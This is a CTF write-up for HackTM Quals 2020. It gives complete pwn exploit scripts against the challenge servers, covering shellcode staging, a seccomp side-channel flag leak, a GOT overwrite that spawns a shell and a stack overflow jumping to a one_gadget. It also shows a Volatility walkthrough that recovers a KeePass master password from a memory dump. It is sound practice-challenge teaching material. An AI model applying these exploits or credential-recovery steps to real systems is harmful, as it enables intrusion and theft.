CTFするぞ

CTF以外のことも書くよ

HackTM CTF Quals 2020 Writeup

HackTM CTF was held from February 1st to 3rd for 48 hours. I played it in zer0pts and we reached to 8th place.

f:id:ptr-yudai:20200206130523p:plain

Thank you @WreckTheLine for hosting the CTF!

The tasks and solvers for some challenges I solved are available here:

bitbucket.org

Other members' writeups:

st98.github.io

[rev 442pts] baby bear

Description: Goldilocks is in big trouble: baby bear isn't going to let her run this time. She needs a bear negotiator, quick!
Server: nc 138.68.67.161 20005
File: baby_bear

The program calculates 2 hash values:

  • hash(random input)
  • hash(user input)

If those two values match, it reads and prints the flag in the remote server. The binary gives us the hash of random input.

$ ./original.baby_bear 

  (c).-.(c)    █  █         █         █
   / ._. \     █  █         █         █
 __\( Y )/__   █  ███   ███ ███  █  █ ███   ███   ███ █ ██
(_.-/'-'\-._)  █  █  █ █  █ █  █  ██  █  █ █████ █  █ ██
   || X ||     █  █  █ █  █ █  █  █   █  █ █     █  █ █
 _.' `-' '._   █  ███   ███ ███  █    ███   ███   ███ █
(.-./`-'\.-.)  █
 `-'     `-'   █  Baby bear says: 1100111101100100101100011110000110011110111110

The program is too complicated to analyse and I decided to dynamically analyse the hash. The hash of AAAAAAAA is

1111001100110011001100110011001101000101010101

and the hash of BAAAAAAA is

0011001100110011001100110011001101000101010101

We can see the change in the first bytes of input only affects the first 4 bits of the output. So, we may find an input whose hash is correct by brute-forcing. I wrote a gdb script to find such input by depth-first search.

# gdb -n -q -x base.py ./baby_bear
import gdb
import random
import re
import string

def to_hash(s):
    output = ""
    for x in re.findall("0x([0-1]+)", s)[:6]:
        for i in range(len(x)-1, 0, -2):
            output += x[i]
    return output

answer = raw_input("> ")

gdb.execute("set pagination off")
gdb.execute("break *0x4005dd")
gdb.execute("break *0x400617")

data = '?' * 0x10

def search(index=0, data='????????????'):
    for c in range(0x100):
        data = data[:index] + chr(c) + data[index + 1:]
        gdb.execute("run")
        for i in range(len(data)):
            gdb.execute("set {{char}}{}={}".format(0x600770 + i, ord(data[i])))

        gdb.execute("continue")
        w = to_hash(gdb.execute("x/7xg 0x600832", to_string=True))
        if w[:4 + index*4] == answer[:4 + index*4]:
            lastdata = data.encode("hex")
            last = w

            for result in search(index+1, data):
                yield result

        elif w[:-2] == answer:
            yield data

result = next(search())
print(result.encode("hex"))
exit()
$ python connect.py 
[+] __init__: Successfully connected to 138.68.67.161:20005
b'1010110110100110010100100100110011110010110011'
7735071e1907023762073702
[ptrlib]$ 1010110110100110010100100100110011110010110011
Baby bear is thinking...

"Yeah, that sounds like what I was thinking", baby bear said.
Here's your flag: HackTM{Oh~n0~G0ld!lOcK$~wh4t~hAV3~U~doNE??}

[rev 482pts] papa bear

Description: Papa bear loves knitting, and even more so taking thin wires and spinning them together to make a strong, bushy rope.
Code:
 ______ _______ ______ _______ ______ _______ _______ ______
(_____ \ (_______)(_____ \ (_______) (____ \ (_______)(_______)(_____ \
_____) ) _______ _____) ) _______ ____) ) _____ _______ _____) )
| ____/ | ___ || ____/ | ___ | | __ ( | ___) | ___ || __ /
| | | | | || | | | | | | |__) )| |_____ | | | || | \ \
|_| |_| |_||_| |_| |_| |______/ |_______)|_| |_||_| |_|
dWWW=- dWWMWWWWWMWMb dMMWWWWWWWWWb -=MMMb
dWMWP dWWWMWWWMMWMMMWWWWWMMMMMMWMMMWWWMMMb qMWb
WMWWb dMWWMMMMMMWWWWMMWWWMWWWWWWMMWWWWMWMWMMMWWWWb dMMM
qMMWMWMMMWMMWWWMWMMMMMMMMWMMMMWWWMMWWMWMWMMWWMWWWWMWWMMWMMWP
QWWWWWWWMMWWWWWWWMMWWWWMMWP QWWWMWMMMMWWWWWMMWWMWWWWWWMP
QWMWWWMMWWMWMWWWWMWWP QWWMWWMMMWMWMWWWWMMMP
QMWWMMMP QMMMMMMP
File: papa_bear

This task is similar to baby bear. It generates different beard for different arguments.

$ ./papa_bear AAA
   ______   _______  ______   _______      ______   _______  _______  ______
  (_____ \ (_______)(_____ \ (_______)    (____  \ (_______)(_______)(_____ \
   _____) ) _______  _____) ) _______      ____)  ) _____    _______  _____) )
  |  ____/ |  ___  ||  ____/ |  ___  |    |  __  ( |  ___)  |  ___  ||  __  /
  | |      | |   | || |      | |   | |    | |__)  )| |_____ | |   | || |  \ \
  |_|      |_|   |_||_|      |_|   |_|    |______/ |_______)|_|   |_||_|   |_|

            dWMM=-        dWWMWWMMWWMWb  dWMMWWMWMMMMb        -=MMMb
          dMMMP       dMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMb        qMMb
          MMMMb   dMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMb    dMMM
          qMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP
            QMMMMMMMMMMMMMMMMMMMMMMMMMP  QMMMMMMMMMMMMMMMMMMMMMMMMMMP
              QMMMMMMMMMMMMMMMMMMMP          QMMMMMMMMMMMMMMMMMMMP
                     QMMMMMMP                         QMMMMMMP

So, the goal is to find the output which is same as that given in the challenge description. Same principle as baby bear. I wrote depth-first search for the input.

from ptrlib import *
import string
import time

# socat TCP-L:9999,reuseaddr,fork EXEC:./papa_bear

def pretty(x):
    x = x.replace(b"\n", b"")
    x = x.replace(b" ", b"")
    x = x.replace(b"d", b"")
    x = x.replace(b"b", b"")
    x = x.replace(b"-", b"")
    x = x.replace(b"=", b"")
    x = x.replace(b"P", b"")
    x = x.replace(b"Q", b"")
    x = x.replace(b"p", b"")
    x = x.replace(b"q", b"")
    x = x.replace(b"W", b"#")
    x = x.replace(b"M", b".")
    return x

with open("answer.txt", "rb") as f:
    code = pretty(f.read())

visited = []
def search(flag='', ofs=0):
    global visited
    if (flag, ofs) in visited:
        return
    else:
        visited.append((flag, ofs))
    for c in " " + string.printable[:-6]:
        time.sleep(0.01)
        sock = Socket("localhost", 9999)
        sock.sendline(str2bytes(flag + c).hex())
        for i in range(7):
            sock.recvline()
        result = b''
        for i in range(7):
            result += pretty(sock.recvline())
        sock.close()

        xx = result[:ofs + 7]
        yy = code[:ofs + 7]
        x = result[:ofs + 6]
        y = code[:ofs + 6]
        if xx == yy:
            print(repr(flag + c), ofs + 7)
            for r in search(flag + c, ofs + 7):
                yield r

        if x == y:
            print(repr(flag + c), ofs + 6)
            for r in search(flag + c, ofs + 6):
                yield r

        if c == ' ' and x[:-1] == y[:-1]:
            print(repr(flag + c), ofs + 5)
            for r in search(flag + c, ofs + 5):
                yield r
        
        if result == code:
            yield flag
    
logger.level = 0
flag = ''
ofs = 0

print(next(search(flag, ofs)))

Just be careful that the length of the hash for each character differs this time. For example, a turns into 6 bytes, 1 into 7 bytes, a whitespace into 5 bytes and so on.

[pwn 445pts] Obey The Rules

Description: The government has released a new set of rules. Do you choose to be among those who follow them blindly or among those who read them first?
Flag Path: /home/pwn/flag.txt
Server: nc 138.68.67.161 20001
File: obey_the_rules

The binary accepts 11 bytes of shellcode and run it if begins with Y\x00. Before running the shellcode, the second byte (=0x00) will turn into pop rcx (='Y'). By sending the following shellcode (11 bytes), we can feed longer shellcode.

db 'Y', 0
mov rsi, rax
xor edi, edi
xor eax, eax
syscall

The second problem is that seccomp is enabled and the rule is unknown. After several fuzz, I found open, read and exit are active. At first glance read didn't seem working for the flag. It was because read fails when fd is 3 due to the seccomp rule. So, we can bypass this just by opening the flag twice.

Also, we can leak the flag by side-channel attack. I used error based side-channel, with which I did binary-search by causing segfault or bad syscall.

xor esi, esi
xor edx, edx
movabs rdi, 0x100000100
mov eax, 2
syscall 
mov eax, 2
syscall 
mov rdi, rax
xor eax, eax
movabs rsi, 0x100000200
mov edx, 0x100
syscall 
mov al, byte ptr [rsi + i]
cmp al, left
jb Error
cmp al, right
ja Error
xor eax, eax
mov qword ptr [rax], rbx
Error:
mov eax, 1
syscall 
from ptrlib import *

logger.level = 0

flag = b''
for i in range(0x0, 0x40):
    left, right = 0, 0x80

    while left < right:
        #sock = Process("./obey_the_rules")
        sock = Socket("138.68.67.161", 20001)

        payload  = b"\x59\x00"
        payload += b"\x48\x89\xc6"
        payload += b"\x31\xff"
        payload += b"\x31\xc0"
        payload += b"\x0f\x05"
        sock.sendafter("no)", payload)
        sock.recvline()

        shellcode  = b"p" * len(payload)
        shellcode += b"\x31\xF6"
        shellcode += b"\x31\xD2"
        shellcode += b"\x48\xBF\x00\x01\x00\x00\x01\x00\x00\x00"
        shellcode += b"\xB8\x02\x00\x00\x00"
        shellcode += b"\x0F\x05"
        shellcode += b"\xB8\x02\x00\x00\x00"
        shellcode += b"\x0F\x05" # open twice!
        shellcode += b"\x48\x89\xC7"
        shellcode += b"\x48\xBE\x00\x02\x00\x00\x01\x00\x00\x00"
        shellcode += b"\xBA\x00\x01\x00\x00"
        shellcode += b"\x31\xC0"
        shellcode += b"\x0F\x05"
        shellcode += b"\x8A\x46" + bytes([i])
        shellcode += b"\x3C" + bytes([left])
        shellcode += b"\x72\x09"
        shellcode += b"\x3C" + bytes([right])
        shellcode += b"\x77\x05"
        shellcode += b"\x31\xC0"
        shellcode += b"\x48\x89\x18"
        shellcode += b"\xB8\x00\x00\x00\x00"
        shellcode += b"\x0F\x05"
        shellcode += b"p" * (0x100 - len(shellcode))
        shellcode += b"/home/pwn/flag.txt\x00"
        #shellcode += b"/home/ctf/flag\x00"
        sock.send(shellcode)

        if b'Segmentation fault' in sock.recvline():
            left, right = left, (left + right) // 2
        else:
            left, right = right, right + (right - left)

        sock.close()

    flag += bytes([left + 1])
    print(flag)

[pwn 491pts] Think twice before speaking once

Server: nc 138.68.67.161 20004
File: think-speak

The program provides us with multiple AAR and one AAW. Leaking the libc address is easy. Since libc version is unknown, I used DynELF to leak some important symbols.

from pwn import *

def think(address):
    sock.sendlineafter(">", "1")
    sock.sendlineafter(": ", str(address))
    sock.recvuntil("[ \n")
    x = sock.recv(8)
    print(hex(address), repr(x))
    return x

def speak(address, value):
    sock.sendlineafter(">", "2")
    sock.sendlineafter(": ", str(address))
    sock.sendlineafter(": ", str(value))
    return

elf = ELF("./think-speak")
sock = remote("138.68.67.161", 20004)

d = DynELF(think, elf=elf)
addr_puts = d.lookup('puts', 'libc')
print(hex(addr_puts))
addr_system = d.lookup('__libc_system', 'libc')
print(hex(addr_system))
addr_free_hook = d.lookup('__free_hook', 'libc')
print(hex(addr_free_hook))
addr_malloc_hook = d.lookup('__malloc_hook', 'libc')
print(hex(addr_malloc_hook))
addr_realloc_hook = d.lookup('__realloc_hook', 'libc')
print(hex(addr_realloc_hook))
addr_execve = d.lookup('execve', 'libc')
print(hex(addr_execve))

sock.interactive()

I found some one gadgets but none of them worked.

In order to get multiple AAW, I overwrote the GOT of exit into the AAW code. Also, system("/bin/sh"); somehow didn't work even though puts("/bin/sh"); did work. After several trials, I could get the shell by execve.

from pwn import *

def think(address):
    sock.sendlineafter(">", "1")
    sock.sendlineafter(": ", str(address))
    sock.recvuntil("[ \n")
    x = sock.recv(8)
    print(hex(address), repr(x))
    return x

def speak(address, value):
    sock.sendlineafter(">", "2")
    sock.sendlineafter(": ", str(address))
    sock.sendlineafter(": ", str(value))
    return

def speak2(address, value):
    sock.sendlineafter(">", "3")
    sock.sendlineafter(": ", str(address))
    sock.sendlineafter(": ", str(value))
    return

elf = ELF("./think-speak")
sock = remote("138.68.67.161", 20004)

libc_puts   = 0x7f9d2cac31c0 - 0x7f9d2ca5a000
libc_system = 0x7fe7a1b60010 - 0x7fe7a1b20000

addr_puts = u64(think(elf.got['puts']))
libc_base = addr_puts - libc_puts
addr_system = libc_base + libc_system
print("libc = " + hex(libc_base))
print("system = " + hex(addr_system))

do_system = addr_system + 0xa - 0x57a
execve = libc_base + 0x7fe84bfcce80 - 0x7fe84bf15000

speak(elf.got['exit'], 0x400a31)
speak2(0x601100, u64('/bin/sh\0'))
speak2(0x6010a0, 0x601100)
speak2(elf.got['setbuf'], execve)
speak2(elf.got['signal'], elf.plt['exit'])
speak2(elf.got['exit'], 0x4008db)

sock.sendline("3")

sock.interactive()

First blood!

[pwn 488pts] twisty

Description: Inspired by stackola's game, I wanted to build my own version, but in C. What could go wrong?
Server: nc 138.68.67.161 20007
Files: twisty, libc-2.23.so

The program is similar to Shifty challenge. It's a kind of slide puzzle game and it has undo function. Each move is described according to this rule:

 X        0       1       2       3
cXd: 0b0100, 0b0101, 0b0110, 0b0111
cXu: 0b0000, 0b0001, 0b0010, 0b0011
rXl: 0b1100, 0b1101, 0b1110, 0b1111
rXr: 0b1000, 0b1001, 0b1010, 0b1011

In order to implement the undo function, the program logs the history of all moves. Since the history buffer is 0x800-byte length, up to 0x1000 moves can be recorded. However, there's no bound check and we can cause buffer overflow here. Also, the number of history is located right after the history buffer, which means we can forge this. By making the number a bit large, we can skip the stack canary, return address and so on. After that, those data can be leaked by list function of history.

Using undo and making moves, we can overwrite the return address of main. However, we need to solve the puzzle in order to reach ret of main. Fortunately, @keymoon was writing the puzzle solver for Shifty challenge and it worked for this too. Thanks to this, I could successfully fire oneshot.

from ptrlib import *

def move2val(m):
    v = 0
    if isinstance(m, bytes):
        m = bytes2str(m)
    if m[0] == 'c':
        if m[2] == 'd':
            v |= 0b100
            v |= int(m[1])
        else:
            v |= int(m[1])
    else:
        v |= 0b1000
        if m[2] == 'l':
            v |= 0b100
            v |= int(m[1])
        else:
            v |= int(m[1])
    return v

def move(m):
    command = ''
    if m & 0b1000 == 0:
        command += 'c{}'.format(m & 0b11)
        if m & 0b100 != 0:
            command += 'd'
        else:
            command += 'u'
    else:
        command += 'r{}'.format(m & 0b11)
        if m & 0b100 != 0:
            command += 'l'
        else:
            command += 'r'
    sock.sendline(command)
    return

def history():
    sock.sendlineafter("> ", "l")
    return sock.recvline().split(b' ')

def undo():
    sock.sendline("u")
    return

def seq2val(seq):
    v = 0
    for i in range(0, len(seq), 2):
        v <<= 8
        v |= (move2val(seq[i+1]) << 4) | move2val(seq[i])
    return int(hex(v)[2:][::-1], 16)

"""
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
sock = Process("./twisty")
delta = 0xe7
one_gadget = 0x4f322
"""
libc = ELF("libc-2.23.so")
sock = Socket("138.68.67.161", 20007)
delta = 0xf0
one_gadget = 0xf1147
#"""

for i in range(0x1000):
    move(0b0101)
for i in range(0x1000):
    sock.recvuntil("> ")
# make counter 0x10f2
move(0b1111)
move(0b0000)
sock.recvuntil("> ")
sock.recvuntil("> ")
h = history()

canary = seq2val(h[0x1020:0x1030]) << 8
logger.info("canary = " + hex(canary))
ret = seq2val(h[0x10a0:0x10b0])
if ret < 0x7f0000000000:
    ret <<= 4
    ret |= libc.symbol('__libc_start_main') & 0b1111
libc_base = ret - libc.symbol('__libc_start_main') - delta
logger.info("libc = " + hex(libc_base))

# make counter 0x10a0
for i in range(0x10f2 - 0x10a0):
    undo()
for i in range(0x10f2 - 0x10a0):
    sock.recvuntil("> ")

# overwrite return address
value = libc_base + one_gadget
for i in range(8):
    move((value >> 4) & 0b1111)
    move(value & 0b1111)
    value >>= 8
for i in range(8):
    sock.recvuntil("> ")
    sock.recvuntil("> ")

state = []
for i in range(4):
    state.append([])
    for c in sock.recvline():
        state[-1].append(c - ord('A'))
print(state)

p = Process("a/C-Sharp")
p.sendline("4")
p.sendline("4")
for i in range(4):
    p.sendline("a " + " ".join(list(map(str, state[i]))))
l = p.recvline()
if b'iter' in l:
    l = p.recvline()

for step in l.split(b','):
    if step == b'A':
        sock.sendline("r0l")
    elif step == b'B':
        sock.sendline("r1l")
    elif step == b'C':
        sock.sendline("r2l")
    elif step == b'D':
        sock.sendline("r3l")
    elif step == b'0':
        sock.sendline("c0u")
    elif step == b'1':
        sock.sendline("c1u")
    elif step == b'2':
        sock.sendline("c2u")
    elif step == b'3':
        sock.sendline("c3u")
for step in l.split(b','):
    sock.recvuntil("> ")
        
p.close()

sock.interactive()

Second blood!

$ python solve.py 
[+] __init__: Successfully connected to 138.68.67.161:20007
[+] <module>: canary = 0x451ab6f72117200
[+] <module>: libc = 0x7efc1207f000
[[6, 7, 3, 9], [4, 2, 10, 5], [11, 12, 8, 15], [14, 0, 13, 1]]
[+] __init__: Successfully created new process (PID=19218)
[+] close: close: 'a/C-Sharp' killed
Congratulations!!!
[ptrlib]$ ls
[ptrlib]$ flag
run.sh
twisty
cat flag
[ptrlib]$ HackTM{0h_boY_thi$_5P!nniNG's_gonn@_m4k3_Me_D!zzY}

[forensics 474pts] Find my pass

Description: I managed to forget my password for my KeePass Database but luckily I had it still open and managed to get a dump of the system's memory. Can you please help me recover my password?
File: https://mega.nz/#!IdUVwY6I!uJWGZ932xab44H4EJ-zVAqu6_UWNJcCVA4_PPXdqCyc  (password: eD99mLkU)

pslist shows that KeePass.exe is running. Let's dump the database.

$ vol.py -f HackTM.vmem --profile=Win7SP1x86_23418 filescan
...
0x000000007df32788      6      0 R--r-d \Device\HarddiskVolume2\Windows\System32\ie4uinit.exe
0x000000007df37c88      2      0 R--r-- \Device\HarddiskVolume2\Users\HackTM\Desktop\Database.kdbx
0x000000007df383b8      8      0 R--r-d \Device\HarddiskVolume2\Windows\System32\wbem\wmiutils.dll
...
$ vol.py -f HackTM.vmem --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000007df37c88 -D ./

@st98 found the master password in clipboard.

$ vol.py -f HackTM.vmem --profile=Win7SP1x86_23418 clipboard -v
...
0xffbb46bc  64 00 6d 00 56 00 5a 00 51 00 6d 00 64 00 7a 00   d.m.V.Z.Q.m.d.z.
0xffbb46cc  4f 00 6c 00 55 00 72 00 63 00 45 00 42 00 6c 00   O.l.U.r.c.E.B.l.
0xffbb46dc  52 00 6a 00 38 00 37 00 64 00 48 00 51 00 33 00   R.j.8.7.d.H.Q.3.
0xffbb46ec  55 00 53 00 56 00 42 00 49 00 6e 00 00 00         U.S.V.B.I.n...
...

There's an entry jason with an attachment named nothinghere.7z. I opened the archive with the master password and found the flag.

HackTM{d14c02244b17f4f9dfc0f71ce7ab10e276a5880a05fca64d39a716bab92cda90}

[crypto 467pts] Count on me

Files: aes.py, challenge.txt, key.png

We're given an image in which unknown characters are written.

f:id:ptr-yudai:20200206125115p:plain

After some guesses, I found each characters can be splitted into upper and bottom parts (except for the circular one). Each part has lines and I guessed the number of lines represents the number itself. For example, the first character has 3 lines in the upper part, 4 lines in the bottom, which means (3, 4). Since the maximum number in the pairs is 5, (a, b) may represent a * 5 + b. The maximum number of all is 19 in this rule, which indicates 20n base. 3 characters are still unknown but they can be guessed by brute-forcing. I wrote a decoder following this rule:

from Crypto.Cipher import AES
iv = '42042042042042042042042042042042'.decode('hex')
c = "059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec".decode("hex")
key = ((3, 4),(0, 3),(2, 0),(3, 0),(0, 2),(-1, -1),(3, 1),(3, 1),(3, 3),(2, 2),(3, 4),(1, 1),(3, 4),(2, 2),(1, 3),(-1, -1),(1, 0),(1, 3),(3, 2),(3, 3),(3, 3),(1, 0),(1, 4),(0, 3),(2, 1),(2, 0),(0, 1),(2, 0),(2, 0),(0, 0),(2, 0),(-1, -1),(0, 0),(1, 3),(3, 3),(2, 0),(0, 0),(3, 0),(3, 3),(1, 0),(3, 3),(2, 4),(3, 4),(0, 1),(0, 1),(0, 0),(0, 4),(1, 1),(3, 0),(0, 4),(2, 1),(3, 1),(2, 0),(1, 3),(2, 4),(1, 0),(2, 3),(3, 1),(1, 4))

for x1 in range(20):
    print(x1)
    for x2 in range(20):
        for x3 in range(20):
            cnt = 0
            n = 0
            for pair in key:
                if -1 in pair:
                    if cnt == 0:
                        x = x1
                    elif cnt == 1:
                        x = x2
                    elif cnt == 2:
                        x = x3
                    cnt += 1
                else:
                    x = pair[0]*5 + pair[1]
                n *= 20
                n += x
            k = hex(n).rstrip('L')[2:].decode("hex")
            aes = AES.new(k, AES.MODE_CBC, iv)
            m = aes.decrypt(c)
            if 'HackTM' in m:
                print(m)
                exit()